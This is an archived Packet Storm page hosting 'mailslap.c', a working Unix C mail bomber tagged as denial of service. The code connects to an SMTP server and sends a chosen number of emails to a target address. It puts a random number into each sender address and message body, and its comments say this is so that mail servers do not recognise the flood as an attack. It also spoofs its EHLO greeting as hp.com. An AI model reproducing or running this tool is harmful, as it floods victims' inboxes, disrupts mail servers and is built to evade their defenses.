exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mailslap.c

mailslap.c
Posted Oct 30, 2003
Authored by c0w3

Unix C Based MailBomber.

tags | denial of service
systems | unix
SHA-256 | 5a0dbec087ff6bd31b8ef9eb1d679cdc2a31bc250839820ec4c086b35871faff

mailslap.c

Change Mirror Download
/*
Unix C Based MailBomber.
by c0w3

Hacked together for some testing.
Pops a random number in emails now as well.

compile:
gcc -o mailbomb mailbomb.c -Wall

0.2 new features:

Some SMTP servers used to bust us after about 8 emails noticing that we were
sending a dOs attack (a default redhat 9 build did ayway) - this was due to sending identical emails each time.

*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdlib.h>

void smtp_connect(char *server);

int thesock;
FILE *a; /* the stream were we pick the random seed */
int showmeyourseed; /* the seed */
/* random seed generator function */
int random_seed(void) {
a=fopen("/dev/random","r"); /* opening /dev/random with read only flag */
/* get the first character from /dev/random , should be enough (i think) */
showmeyourseed=getc(a);
/* using the random seed */
srand(showmeyourseed);
/* flushing the stream as well */
fflush(a);
}

void smtp_connect(char *server)
{
struct sockaddr_in sin;
struct hostent *hp;

hp = gethostbyname(server);
if (hp==NULL) {
printf("Sorry.. unable to find host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
thesock = socket(AF_INET, SOCK_STREAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
}

void main(int argc, char **argv)
{
char buf[1500];
int a,i;
char end[50];
int rand_num;

if (argc != 7) {
printf("Linux/Unix Mailbomber, by c0w3.\n");
printf("\nUsage: %s, #of emails, SMTP Server, to, from, Subject, Message\n", argv[0]);
exit(0);
}
i = atoi(argv[1]);
printf("Connecting to %s on SMTP port 25\n",argv[2]);
smtp_connect(argv[2]);
printf("Sending Mail to %s, from %s.\n",argv[4],argv[3]);
sprintf(buf, "ehlo hp.com\n"); // Sorry HP.
send(thesock, buf, strlen(buf), 0);

for(a=1;a<=i;a++) {

random_seed(); /* now we using our random seed function */
rand_num=1+(int) (100000.0*rand()/(RAND_MAX+1.0));
/* change 100000.0 for another range of random numbers */

sprintf(buf, "mail from: %d%s\nrcpt to: %s\ndata\nTo: %s\nSubject: %s\n%s\n\n\n\n\n------------------\nYour lucky number is: %d\n------------------\n%s\n\n.\n", rand_num, argv[4], argv[3], argv[3], argv[5], argv[6], rand_num, argv[4]);


send(thesock, buf, strlen(buf), 0);
printf("\nQuick Sleep to ensure Data Integrity ...\n");
sleep(2);
/* Random Numner to stop SMTP servers picking up on a mail DoS */
printf("%d\n",rand_num);
printf("Email %i Sent..\n",a);
}
sprintf(end, "quit\n");
send(thesock, end, strlen(end), 0);
printf("\n-- begin example sent email --\n");
printf(buf);
printf("\n-- EOF --\n");
a = a-1;
printf("Total Number of emails sent: %i\n",a);
}

/* end */
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close